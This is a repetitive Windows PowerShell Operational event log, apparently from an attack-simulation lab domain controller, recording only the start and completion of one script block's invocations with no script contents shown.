Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467341
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467340
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467339
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467338
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467337
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467336
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467335
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467334
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467333
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467332
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467331
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467330
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467329
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467328
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467327
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467326
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467325
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467324
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467323
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467322
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467321
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467320
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467319
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467318
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467317
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467316
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467315
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467314
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467313
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467574
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467573
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467572
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467571
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467570
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467569
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467568
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467567
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467566
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467565
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467564
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467563
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467562
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467561
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467560
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467559
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467558
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467557
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467556
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467555
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467554
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467553
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467552
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467551
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467550
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467549
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:05 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
